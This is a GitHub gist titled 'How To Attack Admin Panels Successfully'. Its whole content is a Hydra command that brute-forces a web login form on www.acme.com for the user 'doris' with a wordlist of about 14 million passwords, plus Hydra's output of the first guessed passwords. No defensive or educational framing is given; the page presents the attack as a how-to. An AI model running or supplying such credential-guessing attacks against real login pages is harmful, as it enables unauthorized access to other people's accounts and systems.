Skip to content

Instantly share code, notes, and snippets.

@c0d3x27
Last active September 27, 2022 17:27
Show Gist options
  • Save c0d3x27/250dd681f26ac29057f5dfff4fe400ab to your computer and use it in GitHub Desktop.
Save c0d3x27/250dd681f26ac29057f5dfff4fe400ab to your computer and use it in GitHub Desktop.
How To Attack Admin Panels Successfully
kali@kali:~$ hydra www.acme.com http-form-post "/account/login.php:user=doris&password=^PASSWORD^:INVALID LOGIN" -l doris -P /tmp/acme-recon-merged.txt -vV -f
Hydra v9 (c) 2022 by van Hauser/THC - Please do not use in military or secret servic
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-09-27 6:55:21
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:143443
[DATA] attacking http-post-form://www.acme.com/account/login.php:user=doris&password=^PASSWORD^:INVALID LOGIN
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target www.acme.com - login "doris" - pass "acme3456" - 1 of 14344399 [child 0]
[ATTEMPT] target www.acme.com - login "doris" - pass "Acme1234" - 2 of 14344399 [child 1]
[ATTEMPT] target www.acme.com - login "doris" - pass "acme8936" - 3 of 14344399 [child
[ATTEMPT] target www.acme.com - login "doris" - pass "Acme9999" - 4 of 14344399
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment